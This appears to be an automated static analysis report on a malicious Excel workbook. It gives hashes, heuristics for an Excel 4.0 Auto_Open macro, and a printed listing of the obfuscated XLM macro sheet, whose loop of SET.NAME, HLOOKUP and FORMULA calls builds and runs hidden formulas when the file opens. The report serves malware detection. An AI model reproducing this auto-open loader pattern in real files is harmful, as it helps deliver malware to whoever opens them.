Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 64b01d4e380844b5…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-25 10:36:39 Authoring application: Microsoft Excel First seen: 2021-04-01
MD5: 081d30baec2cfdf493f5f23c5d4333ea SHA-1: 183a67b8db58cbd723902cf5d9725452cd73d23b SHA-256: 64b01d4e380844b5f4cb4276bf2652478c6735240575e8b6251639b27a16e235
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6517 bytes
SHA-256: be58c9e29737bfbc10b1471f896c8c41334a3902e170ff86f04272acd9c85416
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  ABhbdpvx
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D147 
' 0018     22 LABEL : Cell Value, String Constant - BdjtIvh len=0 
' 0018     23 LABEL : Cell Value, String Constant - bOxscZKn len=0 
' 0018     23 LABEL : Cell Value, String Constant - BRizaDJo len=0 
' 0018     21 LABEL : Cell Value, String Constant - DdMOFB len=0 
' 0018     23 LABEL : Cell Value, String Constant - DlAqDxXQ len=0 
' 0018     20 LABEL : Cell Value, String Constant - EQYuP len=0 
' 0018     22 LABEL : Cell Value, String Constant - FlcIllY len=0 
' 0018     27 LABEL : Cell Value, String Constant - HkAIIsdaMdxM len=0 
' 0018     27 LABEL : Cell Value, String Constant - IaHXvHQuPqVE len=0 
' 0018     27 LABEL : Cell Value, String Constant - IZKnuiwcAAlP len=0 
' 0018     20 LABEL : Cell Value, String Constant - MascX len=0 
' 0018     24 LABEL : Cell Value, String Constant - mxzddPKvF len=0 
' 0018     22 LABEL : Cell Value, String Constant - OlDjDew len=0 
' 0018     25 LABEL : Cell Value, String Constant - ppjuhuECJs len=0 
' 0018     21 LABEL : Cell Value, String Constant - tvXBXE len=0 
' 0018     24 LABEL : Cell Value, String Constant - uGKFlstxU len=0 
' 0018     24 LABEL : Cell Value, String Constant - vrVlLtvqY len=0 
' 0018     26 LABEL : Cell Value, String Constant - WdlZoVlUsqt len=0 
' 0018     22 LABEL : Cell Value, String Constant - YFsueEN len=0 
' 0018     20 LABEL : Cell Value, String Constant - zASXo len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  ABhbdpvx,D57,"SET.NAME("YFsueEN",VALUE("0"))",""
'  ABhbdpvx,D60,"SET.NAME("WdlZoVlUsqt",YFsueEN)",""
'  ABhbdpvx,D65,"SET.NAME("EQYuP",YFsueEN)",""
'  ABhbdpvx,D70,"SET.NAME("FlcIllY",COUNTA(ppjuhuECJs))",""
'  ABhbdpvx,D72,"SET.NAME("uGKFlstxU",COUNTA(DdMOFB))",""
'  ABhbdpvx,D76,[],""
'  ABhbdpvx,D79,"SET.NAME("BRizaDJo","")",""
'  ABhbdpvx,D84,"WdlZoVlUsqt",""
'  ABhbdpvx,D86,"SET.NAME("mxzddPKvF",HLOOKUP("*",ppjuhuECJs,WdlZoVlUsqt,FALSE))",""
'  ABhbdpvx,D89,"OlDjDew",""
'  ABhbdpvx,D94,"SET.NAME("vrVlLtvqY",YFsueEN)",""
'  ABhbdpvx,D99,[],""
'  ABhbdpvx,D102,"vrVlLtvqY",""
'  ABhbdpvx,D104,"zASXo",""
'  ABhbdpvx,D106,"HkAIIsdaMdxM",""
'  ABhbdpvx,D109,"IaHXvHQuPqVE",""
'  ABhbdpvx,D112,"SET.NAME("IZKnuiwcAAlP",VALUE(HLOOKUP("*",DdMOFB,IaHXvHQuPqVE,FALSE)))",""
'  ABhbdpvx,D114,"BdjtIvh",""
'  ABhbdpvx,D116,"BRizaDJo",""
'  ABhbdpvx,D119,"EQYuP",""
'  ABhbdpvx,D123,NEXT(),""
'  ABhbdpvx,D128,"MascX",""
'  ABhbdpvx,D131,"SET.NAME("f",INT(T(FORMULA(T(BRizaDJo)&"",""&T(MascX)))))",""
'  ABhbdpvx,D136,"tvXBXE",""
'  ABhbdpvx,D139,NEXT(),""
'  ABhbdpvx,D143,RETURN(),""
'  ABhbdpvx,D170,"SET.NAME("DlAqDxXQ",D57)",""
'  ABhbdpvx,D173,"ppjuhuECJs",""
'  ABhbdpvx,D178,"SET.NAME("DdMOFB",R76C12)",""
'  ABhbdpvx,D180,"SET.NAME("tvXBXE",188)",""
'  ABhbdpvx,D185,"SET.NAME("bOxscZKn",4)",""
'  ABhbdpvx,D187,DlAqDxXQ(),""
'  ABhbdpvx,D188,HALT(),""

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